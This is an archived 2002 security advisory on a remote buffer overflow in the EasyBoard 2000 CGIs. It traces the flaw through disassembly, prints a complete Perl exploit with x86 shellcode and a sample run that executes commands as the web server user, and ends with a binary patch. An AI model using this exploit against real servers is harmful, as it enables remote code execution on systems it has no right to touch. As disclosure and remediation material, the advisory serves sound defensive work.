12th Feb 2002 [SBWID-5089]
COMMAND
EasyBoard 2000 Remote Buffer Overflow Vulnerability
SYSTEMS AFFECTED
EasyBoard 2000 1.27xx
PROBLEM
Jin Ho You [jhyou@chonnam.chonnam.ac.kr] posted a nice analysis and
exploit :
Vulnerability Analysis :
Vulnerable CGIs
===============
Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.
$ strings ezboard.cgi | grep -- \"--%s\"
--%s
$ strings ezman.cgi | grep -- \"--%s\"
--%s
$ strings ezadmin.cgi | grep -- \"--%s\"
--%s
Analysis of ezboard.cgi
=======================
$ objdump -s ezboard.cgi | less
806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T
806ad70 59504500 00000000 00000000 00000000 YPE.............
806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww
806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencode
806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON
806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH.....
806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d
806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=.- <-- 0x806addf
806ade0 2d257300 0d0a2573 00000000 00000000 -%s...%s........ \"--%s\"
806adf0 00000000 00000000 00000000 00000000 ................
806ae00 436f6e74 656e742d 44697370 6f736974 Content-Disposit
806ae10 696f6e3a 20666f72 6d2d6461 74613b20 ion: form-data;
806ae20 002d2d00 3b206669 6c656e61 6d650025 .--.; filename.%
$ objdump -d ezboard.cgi | less
804aff5: 57 push %edi
804aff6: 68 df ad 06 08 push $0x806addf ---> \"--%s\"
804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx
804b001: 53 push %ebx
804b002: e8 89 e5 ff ff call 0x8049590
$ gdb ezboard.cgi
(gdb) disassemble 0x804aff6
0x804af84 <strcpy+6500>: push %ebp
0x804af85 <strcpy+6501>: mov %esp,%ebp
0x804af87 <strcpy+6503>: push %edi
0x804af88 <strcpy+6504>: push %esi
0x804af89 <strcpy+6505>: push %ebx
0x804af8a <strcpy+6506>: sub $0x648,%esp
0x804af90 <strcpy+6512>: mov $0x806adc0,%edi
0x804af95 <strcpy+6517>: cld
0x804af96 <strcpy+6518>: mov $0xffffffff,%ecx
0x804af9b <strcpy+6523>: mov $0x0,%al
0x804af9d <strcpy+6525>: repnz scas %es:(%edi),%al
0x804af9f <strcpy+6527>: not %ecx
0x804afa1 <strcpy+6529>: dec %ecx
0x804afa2 <strcpy+6530>: mov %ecx,0xfffff9e0(%ebp)
delim_len = strlen(\"multipart/form-data; boundary=\");
0x804afa8 <strcpy+6536>: push $0x806ad67 \"CONTENT_TYPE\"
0x804afad <strcpy+6541>: call 0x8049210 <getenv>
0x804afb2 <strcpy+6546>: mov %eax,%ebx
content_type = getenv(\"CONTENT_TYPE\");
0x804afb4 <strcpy+6548>: lea 0xfffff9e4(%ebp),%eax
0x804afba <strcpy+6554>: mov %eax,(%esp,1)
0x804afbd <strcpy+6557>: call 0x804aee4 <strcpy+6340>
0x804afc2 <strcpy+6562>: mov %eax,%esi
0x804afc4 <strcpy+6564>: sub $0x8,%esp
0x804afc7 <strcpy+6567>: push $0x806adc0
0x804afcc <strcpy+6572>: push %ebx
0x804afcd <strcpy+6573>: call 0x8049360 <strstr>
(gdb) x/s 0x806adc0
0x806adc0 <_IO_stdin_used+1756>: \"multipart/form-data; boundary=\"
delim = strstr(content_type, \"multipart/form-data; boundary=\");
0x804afd2 <strcpy+6578>: add $0x20,%esp
0x804afd5 <strcpy+6581>: mov %eax,%edi
0x804afd7 <strcpy+6583>: test %edi,%edi
0x804afd9 <strcpy+6585>: jne 0x804afec <strcpy+6604>
0x804afdb <strcpy+6587>: sub $0xc,%esp
0x804afde <strcpy+6590>: pushl 0x806fe6c
0x804afe4 <strcpy+6596>: call 0x804cc2c <strcpy+13836>
0x804afe9 <strcpy+6601>: add $0x10,%esp
0x804afec <strcpy+6604>: add 0xfffff9e0(%ebp),%edi
delim += delim_len;
0x804aff2 <strcpy+6610>: sub $0x4,%esp
0x804aff5 <strcpy+6613>: push %edi
0x804aff6 <strcpy+6614>: push $0x806addf
0x804affb <strcpy+6619>: lea 0xfffffee8(%ebp),%ebx
0x804b001 <strcpy+6625>: push %ebx
0x804b002 <strcpy+6626>: call 0x8049590 <sprintf>
char boundary[280];
sprintf(boundary, \"--%s\", delim);
The disassembled code is like the C code:
parse_multipart()
{
char boundary[280];
...
delim = strstr(getenv(\"CONTENT_TYPE\"), \"multipart/form-data; boundary=\");
delim += strlen(\"multipart/form-data; boundary=\");
sprintf(boundary, \"--%s\", delim);
...
}
We can see that sprintf() function call can create buffer overflow
condition.
Exploit :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ez2crazy.pl
#
# Remote Buffer Overflow x86 Linux Exploit for
# CrazyWWWBoard(http://www.crazywwwboard.com),
# EasyBoard 2000(http://ezboard.new21.org) and
# CGIs using qDecoder 4.0~5.0.8
#
# Excessive boundary delimiter string in the header
# \"Content-Type: multipart/form-data\" permits the buffer overflow attack.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11
$usage =
\"usage: ez2crazy.pl [options] CGI-URL\\n
CGI-URL URL of the target CGI
-c command Bourne shell command
Default: \'/bin/echo 00ps, Crazy!;id\'
-o offset Offset of the egg shell code,
Recommended [-300,+300]
example)
ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
ez2crazy.pl -c \'echo vulnerable.cgi has a security hole! | mail root\' \\\\
target.com/cgi-bin/vulnerable.cgi
\";
use Getopt::Std;
getopt(\'oc\');
if ($#ARGV < 0) {
print $usage;
exit(0);
};
$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : \"/bin/echo 00ps, Crazy!;id\";
$offset = $opt_o ? $opt_o : 0;
$cgiurl =~ s/http:\\/\\///;
($host, $cgiuri) = split(/\\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;
$command = \"/bin/echo Content-Type: text/html;/bin/echo;($command)\";
$cmdlen = length($command);
$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
\"\\xeb\\x37\" # jmp 0x37
. \"\\x5e\" # popl %esi
. \"\\x89\\x76\" . pack(C, $argvp) # movl %esi,0xb(%esi)
. \"\\x89\\xf0\" # movl %esi,%eax
. \"\\x83\\xc0\\x08\" # addl $0x8,%eax
. \"\\x89\\x46\" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
. \"\\x89\\xf0\" # movl %esi,%eax
. \"\\x83\\xc0\\x0b\" # addl $0xb,%eax
. \"\\x89\\x46\" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
. \"\\x31\\xc0\" # xorl %eax,%eax
. \"\\x88\\x46\\x07\" # movb %eax,0x7(%esi)
. \"\\x4e\" # dec %esi
. \"\\x88\\x46\\x0b\" # movb %eax,0xb(%esi)
. \"\\x46\" # inc %esi
. \"\\x88\\x46\" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
. \"\\x89\\x46\" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
. \"\\xb0\\x0b\" # movb $0xb,%al
. \"\\x89\\xf3\" # movl %esi,%ebx
. \"\\x8d\\x4e\" . pack(C, $argvp) # leal 0xb(%esi),%ecx
. \"\\x8d\\x56\" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
. \"\\xcd\\x80\" # int 0x80
. \"\\x31\\xdb\" # xorl %ebx,%ebx
. \"\\x89\\xd8\" # movl %ebx,%eax
. \"\\x40\" # inc %eax
. \"\\xcd\\x80\" # int 0x80
. \"\\xe8\\xc4\\xff\\xff\\xff\" # call -0x3c
. \"/bin/sh0-c0\" # .string \"/bin/sh0-c0\"
. $command;
$offset -= length($command) / 2 + length($host . $port . $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = \"\\x90\" x $noplen . $shellcode . pack(V, $jump) x 9
. pack(V, $entries) x 2 . pack(V, $jump) x 2;
$content = substr($egg, 254) .
\"--\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\n\\r\\n0\\r\\n--$egg--\\r\\n\";
$contentlength = length($content);
$exploit =
\"POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength
$content
\";
use Socket;
$iaddr = inet_aton($host) or die(\"Error: $!\\n\");
$paddr = sockaddr_in($port, $iaddr) or die(\"Error: $!\\n\");
$proto = getprotobyname(\'tcp\') or die(\"Error: $!\\n\");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die(\"Error: $!\\n\");
connect(SOCKET, $paddr) or die(\"Error: $!\\n\");
send(SOCKET, $exploit, 0) or die(\"Error: $!\\n\");
while (<SOCKET>) {
print;
}
close(SOCKET);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- example
$ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
HTTP/1.1 200 OK
Date: Sun, 10 Feb 2002 19:08:46 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
Connection: close
Content-Type: text/html
00ps, Crazy!
uid=48(apache) gid=48(apache) groups=48(apache)
SOLUTION
The vulnerability can be fixed by replacing sprintf(boundary, \"--%s\",
delim) with sprintf(boundary, \"--%.200s\", delim).
The following code fixes the binary programs of EasyBoard 2000 x86
Linux version.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ezboard-fix.pl
#
# EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
#
# Run this program in the directory where ezboard.cgi exists.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11
LOOP:
for $cgi_file (\"ezboard.cgi\",\"ezadmin.cgi\", \"ezman.cgi\") {
if (! -e $cgi_file) {
print \"$cgi_file does not exist.\\n\";
next LOOP;
}
$cgi_content=`cat $cgi_file`;
if (index($cgi_content, \"EasyBoard 2000\") == -1 ||
index($cgi_content, \"ld-linux.so\") == -1) {
print \"$cgi_file is not EasyBoard 2000 for x86 Linux.\\n\";
next LOOP;
}
@obj_header = split(\' \', `objdump -h $cgi_file | grep rodata`);
$moff_section = hex($obj_header[3]);
$foff_section = hex($obj_header[5]);
$foff_fmtstr = index($cgi_content, \"--%s\");
$moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
$foff_push = index($cgi_content, pack(\"V\",$moff_fmtstr));
if ($foff_push == -1) {
print \"$cgi_file is already fixed!\\n\";
next LOOP;
}
printf \"$cgi_file: \'--%%s\' = 0x%08x, push \'--%%s\' = 0x%08x\\n\",
$foff_fmtstr, $foff_push;
open(CGI, \"+<$cgi_file\") or die \"cannot open $cgi_file: $!\";
seek(CGI, $foff_fmtstr + 17, SEEK_SET);
print CGI \"--%.200s\";
seek(CGI, $foff_push, SEEK_SET);
print CGI pack(\"V\", $moff_fmtstr + 17);
close(CGI);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH